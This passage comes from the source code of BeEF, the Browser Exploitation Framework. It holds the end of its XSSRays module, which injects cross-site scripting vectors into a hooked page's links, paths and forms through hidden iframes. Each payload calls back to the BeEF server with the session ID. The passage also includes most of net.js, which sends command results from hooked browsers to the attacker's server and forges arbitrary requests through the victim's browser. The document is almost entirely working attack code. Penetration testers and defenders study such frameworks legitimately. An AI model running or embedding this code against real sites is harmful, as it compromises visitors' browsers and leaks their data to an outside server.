{\n            beef.debug(\"COMPLETE, notifying BeEF for scan id [\" + beef.net.xssrays.xssraysScanId + \"]\");\n            $j.get(this.beefRayUrl, { hbsess: this.hookedBrowserSession, raysid: this.xssraysScanId, action: \"finish\"} );\n        } else {\n            this.getNextJob();\n        }\n    },\n    getNextJob:function() {\n        var that = this;\n        beef.debug(\"getNextJob - this.stack.length [\" + this.stack.length + \"]\");\n        if (this.stack.length > 0) {\n            var func = that.stack.shift();\n            if (func) {\n                that.completed++;\n                func.call(that);\n            }\n        }else{ //nothing else to scan\n            this.complete();\n        }\n    },\n    scan:function() {\n        this.scanLinks();\n        this.scanForms();\n    },\n    scanPaths:function() {\n        this.xss({type:'path'});\n        return this;\n    },\n    scanForms: function() {\n        this.xss({type:'form'});\n        return this;\n    },\n    scanLinks: function() { //TODO: add depth crawling for links that are in the same domain\n        beef.debug(\"scanLinks, document.links.length [\" + document.links.length + \"]\");\n        for (var i = 0; i < document.links.length; i++) {\n            var url = document.links[i];\n\n            if ((url.hostname.toString() === location.hostname.toString() || this.crossDomain) && (location.protocol === 'http:' || location.protocol === 'https:')) {\n                beef.debug(\"Starting scanning URL [\" + url + \"]\\n url.href => \" + url.href +\n                    \"\\n url.pathname => \" + url.pathname + \"\\n\" +\n                    \"url.search => \" + url.search + \"\\n\");\n                this.xss({href:url.href, pathname:url.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,\n                    search:url.search, type: 'url'});//scan each link & param\n            } else {\n                beef.debug('Scan is not Cross-origin.  URLS\\nurl :' + url.hostname.toString());\n                beef.debug('\\nlocation :' + location.hostname.toString());\n            }\n        }\n        if (location.search.length > 0) {\n            this.xss({pathname:location.pathname, hostname:url.hostname, port: url.port, protocol: location.protocol,search:location.search, type: 'url'});//scan originating url\n        }\n        return this;\n    },\n    xss:function(target) {\n        switch (target.type) {\n            case \"url\":\n                if (target.search.length > 0) {\n                    target.search = target.search.slice(1);\n                    target.search = target.search.split(/&|&amp;/);\n\n                    if(beef.browser.isIE() && target.pathname.charAt(0) != \"/\"){ //the damn IE doesn't contain the forward slash in pathname\n                       var pathname = \"/\" + target.pathname;\n                    }else{\n                        var pathname = target.pathname;\n                    }\n\n                    var params = {};\n                    for (var i = 0; i < target.search.length; i++) {\n                        target.search[i] = target.search[i].split('=');\n                        params[target.search[i][0]] = target.search[i][1];\n                    }\n                    for (var i = 0; i < this.vectors.length; i++) {\n                        // skip the current vector if it's not compatible with the hooked browser\n                        if (!this.checkBrowser(i)){\n                            beef.debug(\"Skipping vector [\" + this.vectors[i].name + \"] because it's not compatible with the current browser.\");\n                            continue;\n                        }\n                        if (!this.vectors[i].url) {\n                            continue;\n                        }\n                        if (this.vectors[i].url) {\n                            if (target.port == null || target.port == \"\") {\n                                beef.debug(\"Starting XSS on GET params of [\" + target.href + \"], passing url [\" + target.protocol + '//' + target.hostname + pathname + \"]\");\n                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], params, true);//params\n                            } else {\n                                beef.debug(\"Starting XSS on GET params of [\" + target.href + \"], passing url [\" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + \"]\");\n                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], params, true);//params\n                            }\n                        }\n                        if (this.vectors[i].path) {\n                            if (target.port == null || target.port == \"\") {\n                                beef.debug(\"Starting XSS on URI PATH of [\" + target.href + \"], passing url [\" + target.protocol + '//' + target.hostname + pathname + \"]\");\n                                this.run(target.protocol + '//' + target.hostname + pathname, 'GET', this.vectors[i], null, true);//paths\n                            } else {\n                                beef.debug(\"Starting XSS on URI PATH of [\" + target.href + \"], passing url [\" + target.protocol + '//' + target.hostname + ':' + target.port + pathname + \"]\");\n                                this.run(target.protocol + '//' + target.hostname + ':' + target.port + pathname, 'GET', this.vectors[i], null, true);//paths\n                            }\n                        }\n                    }\n                }\n                break;\n            case \"form\":\n                var params = {};\n                var paramsstring = \"\";\n                for (var i = 0; i < document.forms.length; i++) {\n                    var action = document.forms[i].action || document.location;\n                    var method = document.forms[i].method.toUpperCase() === 'POST' ?\n                        'POST' :\n                        'GET';\n\n                    for (var j = 0; j < document.forms[i].elements.length; j++) {\n                        params[document.forms[i].elements[j].name] = document.forms[i].elements[j].value || 1;\n                    }\n                    for (var k = 0; k < this.vectors.length; k++) {\n\n                        // skip the current vector if it's not compatible with the hooked browser\n                        if (!this.checkBrowser(k)){\n                            beef.debug(\"Skipping vector [\" + this.vectors[i].name + \"] because it's not compatible with the current browser.\");\n                            continue;\n                        }\n                        if (!this.vectors[k].form) {\n                            continue;\n                        }\n                        if (!this.crossDomain && (this.host(action).toString() != this.host(location.toString()))) {\n                            beef.debug('Scan is not Cross-origin. FormPost\\naction :' + this.host(action).toString());\n                            beef.debug('location :' + this.host(location));\n                            continue;\n                        }\n                        if (this.vectors[k].form) {\n                            if (method === 'GET') {\n                                beef.debug(\"Starting XSS on FORM action params, GET method of [\" + action + \"], params [\" + paramsstring + \"]\");\n                                this.run(action, method, this.vectors[k], params, true);//params\n                            }\n                            else {\n                                beef.debug(\"Starting XSS on FORM action params, POST method of [\" + action + \"], params [\" + paramsstring + \"]\");\n                                this.run(action, method, this.vectors[k], params, false);//params\n                            }\n                        }\n                        if (this.vectors[k].path) {\n                            beef.debug(\"Starting XSS on FORM action URI PATH of [\" + action + \"], \");\n                            this.run(action, 'GET', this.vectors[k], null, true);//paths\n                        }\n                    }\n                }\n                break;\n        }\n    },\n    host: function(url) {\n        var host = url;\n        host = /^https?:[\\/]{2}[^\\/]+/.test(url.toString())\n            ? url.toString().match(/^https?:[\\/]{2}[^\\/]+/)\n            : /(?:^[^a-zA-Z0-9\\/]|^[a-zA-Z0-9]+[:]+)/.test(url.toString())\n            ? ''\n            : location.hostname.toString();\n        return host;\n    },\n    fileName: function(url) {\n        return url.match(/(?:^[^\\/]|^https?:[\\/]{2}|^[\\/]+)[^?]+/) || '';\n    },\n\n    urlEncode: function(str) {\n        str = str.toString();\n        str = str.replace(/\"/g, '%22');\n        str = str.replace(/&/g, '%26');\n        str = str.replace(/\\+/g, '%2b');\n        return str;\n    },\n\n    /**\n     * this is the main core function with the detection mechanisms...\n     * @param url \n     * @param method \n     * @param vector \n     * @param params \n     * @param urlencode \n     */\n    run: function(url, method, vector, params, urlencode) {\n        this.stack.push(function() {\n\n            //check if the URL end with / . In this case remove the last /, as it will be added later.\n            // this check is needed only when checking for URI path injections\n            if(url[url.length - 1] == \"/\" && params == null){\n               url = url.substring(0, url.length - 2);\n               beef.debug(\"Remove last / from url. New url [\" + url + \"]\");\n            }\n\n            beef.net.xssrays.uniqueID++;\n            beef.debug('Processing vector [' + vector.name + \"], URL [\" + url + \"]\");\n            var poc = '';\n            var pocurl = url;\n            var exploit = '';\n            var action = url;\n\n\n            beef.net.xssrays.rays[beef.net.xssrays.uniqueID] = {vector:vector,url:url,params:params};\n            var ray = this.rays[beef.net.xssrays.uniqueID];\n\n            var paramsPos = 0;\n            if (params != null) {\n                /*\n                 * ++++++++++ check for XSS in URI parameters (GET) ++++++++++\n                 */\n                for (var i in params) {\n                    if (params.hasOwnProperty(i)) {\n\n                        if (!/[?]/.test(url)) {\n                            url += '?';\n                            pocurl += '?';\n                        }\n\n                        poc = vector.input.replace(/XSS/g, \"alert(1)\");\n                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc) + '&';\n\n                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;\n                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;\n\n                        beefCallback = \"location='\" + this.beefRayUrl + \"?hbsess=\" + this.hookedBrowserSession + \"&raysid=\" + this.xssraysScanId\n                            + \"&action=ray\" + \"&p='+window.location.href+'&n=\" + ray.vector.name + \"&m=\" + ray.vector.method + \"'\";\n\n                        exploit = vector.input.replace(/XSS/g, beefCallback);\n\n                        if(beef.browser.isC() || beef.browser.isS()){ //we will base64 the whole uri later\n                            url += i + '=' + exploit + '&';\n                        }else{\n                            url += i + '=' + (urlencode ? encodeURIComponent(exploit) : exploit) + '&';\n                        }\n\n                        paramsPos++;\n                    }\n                }\n            } else {\n                /*\n                 * ++++++++++ check for XSS in URI path (GET) ++++++++++\n                 */\n                var filename = beef.net.xssrays.fileName(url);\n\n                poc = vector.input.replace(/XSS/g, \"alert(1)\");\n                pocurl = poc.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');\n\n\n                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;\n                beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;\n\n                beefCallback = \"document.location.href='\" + this.beefRayUrl + \"?hbsess=\" + this.hookedBrowserSession + \"&raysid=\" + this.xssraysScanId\n                    + \"&action=ray\" + \"&p='+window.location.href+'&n=\" + ray.vector.name + \"&m=\" + ray.vector.method + \"'\";\n\n                exploit = vector.input.replace(/XSS/g, beefCallback);\n\n                //TODO: if the url is something like example.com/?param=1 then a second slash will be added, like example.com//<xss>.\n                //TODO: this need to checked and the slash shouldn't be added in this particular case\n                url = url.replace(filename, filename + '/' + (urlencode ? encodeURIComponent(exploit) : exploit) + '/');\n            }\n            /*\n             * ++++++++++ create the iFrame that will contain the attack vector ++++++++++\n             */\n            if(beef.browser.isIE()){\n                try {\n                    var iframe = document.createElement('<iframe name=\"ray'+Math.random().toString() +'\">');\n                } catch (e) {\n                    var iframe = document.createElement('iframe');\n                    iframe.name = 'ray' + Math.random().toString();\n                }\n            }else{\n                var iframe = document.createElement('iframe');\n                iframe.name = 'ray' + Math.random().toString();\n            }\n            iframe.style.display = 'none';\n            iframe.id = 'ray' + beef.net.xssrays.uniqueID;\n            iframe.time = beef.net.xssrays.timestamp();\n\n            if (method === 'GET') {\n                if(beef.browser.isC() || beef.browser.isS()){\n                    var datauri = btoa(url);\n                    iframe.src = \"data:text/html;base64,\" + datauri;\n                }else{\n                    iframe.src = url;\n                }\n                document.body.appendChild(iframe);\n                beef.debug(\"Creating XSS iFrame with src [\" + iframe.src + \"], id[\" + iframe.id + \"], time [\" + iframe.time + \"]\");\n            } else if (method === 'POST') {\n                /*\n                 * ++++++++++ check for XSS in body parameters (POST) ++++++++++\n                 */\n                var form = '<form action=\"' + beef.net.xssrays.escape(action) + '\" method=\"post\" id=\"frm\">';\n                poc = '';\n                pocurl = action + \"?\";\n                paramsPos = 0;\n\n                beef.debug(\"Form action [\" + action + \"]\");\n                for (var i in params) {\n                    if (params.hasOwnProperty(i)) {\n\n                        poc = vector.input.replace(/XSS/g, \"alert(1)\");\n                        poc = poc.replace(/<\\/script>/g, \"<\\/scr\\\"+\\\"ipt>\");\n                        pocurl += i + '=' + (urlencode ? encodeURIComponent(poc) : poc); // + '&';\n\n                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;\n                        beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;\n\n                        beefCallback = \"document.location.href='\" + this.beefRayUrl + \"?hbsess=\" + this.hookedBrowserSession + \"&raysid=\" + this.xssraysScanId\n                            + \"&action=ray\" + \"&p='+window.location.href+'&n=\" + ray.vector.name + \"&m=\" + ray.vector.method + \"'\";\n\n                        exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));\n                        form += '<textarea name=\"' + i + '\">' + exploit + '<\\/textarea>';\n                        beef.debug(\"form param[\" + i + \"] = \" + params[i].toString());\n\n                        paramsPos++;\n                    }\n                }\n                form += '<\\/form>';\n                document.body.appendChild(iframe);\n                beef.debug(\"Creating form [\" + form + \"]\");\n                iframe.contentWindow.document.writeln(form);\n                iframe.contentWindow.document.writeln('<script>document.createElement(\"form\").submit.apply(document.forms[0]);<\\/script>');\n                beef.debug(\"Submitting form\");\n            }\n\n        });\n    },\n\n    /**\n     * run the jobs (run functions added to the stack), and clean the shit (iframes) from the DOM after a timeout value\n     */\n    runJobs: function() {\n        var that = this;\n        this.totalConnections = this.stack.length;\n        that.getNextJob();\n        setInterval(function() {\n            var numOfConnections = 0;\n            for (var i = 0; i < document.getElementsByTagName('iframe').length; i++) {\n                var iframe = document.getElementsByTagName('iframe')[i];\n                numOfConnections++;\n                //beef.debug(\"runJobs parseInt(this.timestamp()) [\" + parseInt(beef.net.xssrays.timestamp()) + \"], parseInt(iframe.time) [\" + parseInt(iframe.time) + \"]\");\n                if (parseInt(beef.net.xssrays.timestamp()) - parseInt(iframe.time) > 5) {\n                    try{\n                        if (iframe) {\n                            beef.net.xssrays.complete();\n                            beef.debug(\"RunJobs cleaning up iFrame [\" + iframe.id + \"]\");\n                            document.body.removeChild(iframe);\n                        }\n                    }catch(e){\n\t\t\tbeef.debug(\"Exception [\" + e.toString() + \"] when cleaning iframes.\")\n\t\t    }\n                }\n            }\n\n            if (numOfConnections == 0) {\n                clearTimeout(this);\n            }\n\n        }, this.cleanUpTimeout);\n\n        return this;\n    },\n    timestamp: function() {\n        return parseInt(new Date().getTime().toString().substring(0, 10));\n    },\n    escape: function(str) {\n        str = str.toString();\n        str = str.replace(/</g, '&lt;');\n        str = str.replace(/>/g, '&gt;');\n        str = str.replace(/\\u0022/g, '&quot;');\n        str = str.replace(/\\u0027/g, '&#39;');\n        str = str.replace(/\\\\/g, '&#92;');\n        return str;\n    }\n\n};\n\nbeef.regCmp('beef.net.xssrays');\n"
  },
  {
    "path": "core/main/client/net.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides basic networking functions,\n * like beef.net.request and beef.net.forgeRequest,\n * used by BeEF command modules and the Requester extension,\n * as well as beef.net.send which is used to return commands\n * to BeEF server-side components.\n *\n * Also, it contains the core methods used by the XHR-polling\n * mechanism (flush, queue)\n * @namespace beef.net\n *\n */\nbeef.net = {\n\n    host: \"<%= @beef_host %>\",\n    port: \"<%= @beef_port %>\",\n    hook: \"<%= @beef_hook %>\",\n    httpproto: \"<%= @beef_proto %>\",\n    handler: '/dh',\n    chop: 500,\n    pad: 30, //this is the amount of padding for extra params such as pc, pid and sid\n    sid_count: 0,\n    cmd_queue: [],\n\n    /**\n     * Command object. This represents the data to be sent back to BeEF,\n     * using the beef.net.send() method.\n     */\n    command: function () {\n        this.cid = null;\n        this.results = null;\n        this.status = null;\n        this.handler = null;\n        this.callback = null;\n    },\n\n    /**\n     * Packet object. A single chunk of data. X packets -> 1 stream\n     */\n    packet: function () {\n        this.id = null;\n        this.data = null;\n    },\n\n    /**\n     * Stream object. Contains X packets, which are command result chunks.\n     */\n    stream: function () {\n        this.id = null;\n        this.packets = [];\n        this.pc = 0;\n        this.get_base_url_length = function () {\n            return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;\n        };\n        this.get_packet_data = function () {\n            var p = this.packets.shift();\n            return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }\n        };\n    },\n\n    /**\n     * Response Object - used in the beef.net.request callback\n     * NOTE: as we are using async mode, the response object will be empty if returned.\n     * Using sync mode, request obj fields will be populated.\n     */\n    response: function () {\n        this.status_code = null;        // 500, 404, 200, 302\n        this.status_text = null;        // success, timeout, error, ...\n        this.response_body = null;      // \"<html>….\" if not a cross-origin request\n        this.port_status = null;        // tcp port is open, closed or not http\n        this.was_cross_origin = null;   // true or false\n        this.was_timedout = null;       // the user specified timeout was reached\n        this.duration = null;           // how long it took for the request to complete\n        this.headers = null;            // full response headers\n    },\n\n    /**\n     * Queues the specified command results.\n     * @param {String} handler the server-side handler that will be called\n     * @param {Integer} cid command id\n     * @param {String} results the data to send\n     * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')\n     * @param {Function} callback the function to call after execution\n     */\n    queue: function (handler, cid, results, status, callback) {\n        if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {\n            var s = new beef.net.command();\n            s.cid = cid;\n            s.results = beef.net.clean(results);\n            s.status = status;\n            s.callback = callback;\n            s.handler = handler;\n            this.cmd_queue.push(s);\n        }\n    },\n\n    /**\n     * Queues the current command results and flushes the queue straight away.\n     * NOTE: Always send Browser Fingerprinting results\n     * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,\n     * even if WebSockets are enabled.\n     * @param {String} handler the server-side handler that will be called\n     * @param {Integer} cid command id\n     * @param {String} results the data to send\n     * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')\n     * @param {Function} callback the function to call after execution\n     * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)\n     */\n    send: function (handler, cid, results, exec_status, callback) {\n        // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status\n        var status = 0;\n        if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}\n\n        if (typeof beef.websocket === \"undefined\" || (handler === \"/init\" && cid == 0)) {\n            this.queue(handler, cid, results, status, callback);\n            this.flush();\n        } else {\n            try {\n                beef.websocket.send('{\"handler\" : \"' + handler + '\", \"cid\" :\"' + cid +\n                    '\", \"result\":\"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +\n                    '\", \"status\": \"' + exec_status +\n                    '\", \"callback\": \"' + callback +\n                    '\",\"bh\":\"' + beef.session.get_hook_session_id() + '\" }');\n            } catch (e) {\n                this.queue(handler, cid, results, status, callback);\n                this.flush();\n            }\n        }\n\n        return status;\n    },\n\n    /**\n     * Flush all currently queued command results to the framework,\n     * chopping the data in chunks ('chunk' method) which will be re-assembled\n     * server-side by the network stack.\n     * NOTE: currently 'flush' is used only with the default\n     * XHR-polling mechanism. If WebSockets are used, the data is sent\n     * back to BeEF straight away.\n     */\n    flush: function (callback) {\n        if (this.cmd_queue.length > 0) {\n            var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));\n            this.cmd_queue.length = 0;\n            this.sid_count++;\n            var stream = new this.stream();\n            stream.id = this.sid_count;\n            var pad = stream.get_base_url_length() + this.pad;\n            //cant continue if chop amount is too low\n            if ((this.chop - pad) > 0) {\n                var data = this.chunk(data, (this.chop - pad));\n                for (var i = 1; i <= data.length; i++) {\n                    var packet = new this.packet();\n                    packet.id = i;\n                    packet.data = data[(i - 1)];\n                    stream.packets.push(packet);\n                }\n                stream.pc = stream.packets.length;\n                this.push(stream, callback);\n            }\n        } else {\n            if ((typeof callback != 'undefined') && (callback != null)) {\n                callback();\n            }\n        }\n    },\n\n    /**\n     * Split the input data into chunk lengths determined by the amount parameter.\n     * @param {String} str the input data\n     * @param {Integer} amount chunk length\n     */\n    chunk: function (str, amount) {\n        if (typeof amount == 'undefined') n = 2;\n        return str.match(RegExp('.{1,' + amount + '}', 'g'));\n    },\n\n    /**\n     * Push the input stream back to the BeEF server-side components.\n     * It uses beef.net.request to send back the data.\n     * @param {Object} stream the stream object to be sent back.\n     */\n    push: function (stream, callback) {\n        //need to implement wait feature here eventually\n        if (typeof callback === 'undefined') {\n            callback = null;\n        }\n        for (var i = 0; i < stream.pc; i++) {\n            var cb = null;\n            if (i == (stream.pc - 1)) {\n                cb = callback;\n            }\n            this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, \n                    stream.get_packet_data(), 10, 'text', cb);\n        }\n    },\n\n    /**\n     * Performs http requests\n     * @param {String} scheme HTTP or HTTPS\n     * @param {String} method GET or POST\n     * @param {String} domain bindshell.net, 192.168.3.4, etc\n     * @param {Int} port 80, 5900, etc\n     * @param {String} path /path/to/resource\n     * @param {String} anchor this is the value that comes after the # in the URL\n     * @param {String} data This will be used as the query string for a GET or post data for a POST\n     * @param {Int} timeout timeout the request after N seconds\n     * @param {String} dataType specify the data return type expected (ie text/html/script)\n     * @param {Function} callback call the callback function at the completion of the method\n     *\n     * @return {Object} this object contains the response details\n     */\n    request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {\n        //check if same origin or cross origin\n        var cross_origin = true;\n        if (document.domain == domain.replace(/(\\r\\n|\\n|\\r)/gm, \"\")) { //strip eventual line breaks\n            if (document.location.port == \"\" || document.location.port == null) {\n                cross_origin = !(port == \"80\" || port == \"443\");\n            }\n        }\n\n        //build the url\n        var url = \"\";\n        if (path.indexOf(\"http://\") != -1 || path.indexOf(\"https://\") != -1) {\n            url = path;\n        } else {\n            url = scheme + \"://\" + domain;\n            url = (port != null) ? url + \":\" + port : url;\n            url = (path != null) ? url + path : url;\n            url = (anchor != null) ? url + \"#\" + anchor : url;\n        }\n\n        //define response object\n        var response = new this.response;\n        response.was_cross_origin = cross_origin;\n        var start_time = new Date().getTime();\n\n        /*\n         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':\n         * This will turn POSTs into GETs for cross origin requests.\n         */\n        if (method == \"POST\") {\n            $j.ajaxSetup({\n                dataType: dataType\n            });\n        } else {\n            $j.ajaxSetup({\n                dataType: 'script'\n            });\n        }\n\n        //build and execute the request\n        $j.ajax({type: method,\n            url: url,\n            data: data,\n            timeout: (timeout * 1000),\n\n            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.\n            beforeSend: function (xhr) {\n                if (method == \"POST\") {\n                    xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded; charset=utf-8\");\n                }\n            },\n            success: function (data, textStatus, xhr) {\n                var end_time = new Date().getTime();\n                response.status_code = xhr.status;\n                response.status_text = textStatus;\n                response.response_body = data;\n                response.port_status = \"open\";\n                response.was_timedout = false;\n                response.duration = (end_time - start_time);\n            },\n            error: function (jqXHR, textStatus, errorThrown) {\n                var end_time = new Date().getTime();\n                response.response_body = jqXHR.responseText;\n                response.status_code = jqXHR.status;\n                response.status_text = textStatus;\n                response.duration = (end_time - start_time);\n                response.port_status = \"open\";\n            },\n            complete: function (jqXHR, textStatus) {\n                response.status_code = jqXHR.status;\n                response.status_text = textStatus;\n                response.headers = jqXHR.getAllResponseHeaders();\n                // determine if TCP port is open/closed/not-http\n                if (textStatus == \"timeout\") {\n                    response.was_timedout = true;\n                    response.response_body = \"ERROR: Timed out\\n\";\n                    response.port_status = \"closed\";\n                } else if (textStatus == \"parsererror\") {\n                    response.port_status = \"not-http\";\n                } else {\n                    response.port_status = \"open\";\n                }\n            }\n        }).always(function () {\n                if (callback != null) {\n                    callback(response);\n                }\n            });\n        return response;\n    },\n\n    /**\n     * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:\n     *  - requestid: needed on the callback\n     *  - allowCrossOrigin: set cross-origin requests as allowed or blocked\n     *\n     * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.\n     * Example usage:\n     * beef.net.forge_request(\"http\", \"POST\", \"172.20.40.50\", 8080, \"/lulz\",\n     *   true, null, { foo: \"bar\" }, 5, 'html', false, null, function(response) {\n     *   alert(response.response_body)})\n     */\n    forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossOrigin, requestid, callback) {\n\n        if (domain == \"undefined\" || path == \"undefined\") {\n            beef.debug(\"[beef.net.forge_request] Error: Malformed request. No host specified.\");\n            return;\n        }\n\n        // check if same origin or cross origin\n        var cross_origin = true;\n        if (document.domain == domain && document.location.protocol == scheme + ':') {\n            if (document.location.port == \"\" || document.location.port == null) {\n                cross_origin = !(port == \"80\" || port == \"443\");\n            } else {\n                if (document.location.port == port) cross_origin = false;\n            }\n        }\n\n        // build the url\n        var url = \"\";\n        if (path.indexOf(\"http://\") != -1 || path.indexOf(\"https://\") != -1) {\n            url = path;\n        } else {\n            url = scheme + \"://\" + domain;\n            url = (port != null) ? url + \":\" + port : url;\n            url = (path != null) ? url + path : url;\n            url = (anchor != null) ? url + \"#\" + anchor : url;\n        }\n\n        // define response object\n        var response = new this.response;\n        response.was_cross_origin = cross_origin;\n        var start_time = new Date().getTime();\n\n        // if cross-origin requests are not allowed and the request is cross-origin\n        // don't proceed and return\n        if (allowCrossOrigin == \"false\" && cross_origin) {\n            beef.debug(\"[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.\");\n            response.status_code = -1;\n            response.status_text = \"crossorigin\";\n            response.port_status = \"crossorigin\";\n            response.response_body = \"ERROR: Cross Domain Request. The request was not sent.\\n\";\n            response.headers = \"ERROR: Cross Domain Request. The request was not sent.\\n\";\n            if (callback != null) callback(response, requestid);\n            return response;\n        }\n\n        // if the request was cross-origin from a HTTPS origin to HTTP\n        // don't proceed and return\n        if (document.location.protocol == 'https:' && scheme == 'http') {\n            beef.debug(\"[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.\");\n            response.status_code = -1;\n            response.status_text = \"mixedcontent\";\n            response.port_status = \"mixedcontent\";\n            response.response_body = \"ERROR: Mixed Active Content. The request was not sent.\\n\";\n            response.headers = \"ERROR: Mixed Active Content. The request was not sent.\\n\";\n            if (callback != null) callback(response, requestid);\n            return response;\n        }\n\n        /*\n         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':\n         * This will turn POSTs into GETs for cross origin requests.\n         */\n        if (method == \"POST\") {\n            $j.ajaxSetup({\n                dataType: dataType\n            });\n        } else {\n            $j.ajaxSetup({\n                dataType: 'script'\n            });\n        }\n\n        // this is required for bugs in IE so data can be transferred back to the server\n        if (beef.browser.isIE()) {\n            dataType = 'script'\n        }\n\n        $j.ajax({type: method,\n            dataType: dataType,\n            url: url,\n            headers: headers,\n            timeout: (timeout * 1000),\n\n            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.\n            beforeSend: function (xhr) {\n                if (method == \"POST\") {\n                    xhr.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded; charset=utf-8\");\n                }\n            },\n\n            data: data,\n\n            // http server responded successfully\n            success: function (data, textStatus, xhr) {\n                var end_time = new Date().getTime();\n                response.status_code = xhr.status;\n                response.status_text = textStatus;\n                response.response_body = data;\n                response.was_timedout = false;\n                response.duration = (end_time - start_time);\n            },\n\n            // server responded with a http error (403, 404, 500, etc)\n            // or server is not a http server\n            error: function (xhr, textStatus, errorThrown) {\n                var end_time = new Date().getTime();\n                response.response_body = xhr.responseText;\n                response.status_code = xhr.status;\n                response.status_text = textStatus;\n                response.duration = (end_time - start_time);\n            },\n\n            complete: function (xhr, textStatus) {\n                // cross-origin request\n                if (cross_origin) {\n\n                    response.port_status = \"crossorigin\";\n\n                    if (xhr.status != 0) {\n                        response.status_code = xhr.status;\n                    } else {\n                        response.status_code = -1;\n                    }\n\n                    if (textStatus) {\n                        response.status_text = textStatus;\n                    } else {\n                        response.status_text = \"crossorigin\";\n                    }\n\n                    if (xhr.getAllResponseHeaders()) {\n                        response.headers = xhr.getAllResponseHeaders();\n                    } else {\n                        response.headers = \"ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\\n\";\n                    }\n\n                    if (!response.response_body) {\n                        response.response_body = \"ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\\n\";\n                    }\n\n                } else {\n                    // same-origin request\n                    response.status_code = xhr.status;\n                    response.status_text = textStatus;\n                    response.headers = xhr.getAllResponseHeaders();\n\n                    // determine if TCP port is open/closed/not-http\n                    if (textStatus == \"timeout\") {\n                        response.was_timedout = true;\n                        response.response_body = \"ERROR: Timed out\\n\";\n                        response.port_status = \"closed\";\n                        /*\n                         * With IE we need to explicitly set the dataType to \"script\",\n                         * so there will be always parse-errors if the content is != javascript\n                         * */\n                    } else if (textStatus == \"parsererror\") {\n                        response.port_status = \"not-http\";\n                        if (beef.browser.isIE()) {\n                            response.status_text = \"success\";\n                            response.port_status = \"open\";\n                        }\n                    } else {\n                        response.port_status = \"open\";\n                    }\n                }\n                callback(response, requestid);\n            }\n        });\n        return response;\n    },\n\n    /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}\n     *  http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/\n     */\n    clean: function (r) {\n        if (this.array_has_string_key(r)) {\n            var obj = {};\n            for (var key in r)\n                obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];\n            return obj;\n        }\n        return r;\n    },\n\n    /** Detects if an array has a string key */\n    array_has_string_key: function (arr) {\n        if ($j.isArray(arr)) {\n            try {\n                for (var key in arr)\n                    if (isNaN(parseInt(key))) return true;\n            } catch (e) {\n            }\n        }\n        return false;\n    },\n\n    /**\n     * Checks if the specified port is valid\n     */\n    is_valid_port: function (port) {\n      if (isNaN(port)) return false;\n      if (port > 65535 || port < 0) return false;\n      return true;\n    },\n\n    /**\n     * Checks if the specified IP address is valid\n     */\n    is_valid_ip: function (ip) {\n      if (ip == null) return false;\n      var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');\n      if (ip_match == null) return false;\n      return true;\n    },\n\n    /**\n     * Checks if the specified IP address range is valid\n     */\n    is_valid_ip_range: function (ip_range) {\n      if (ip_range == null) return false;\n      var range_match = 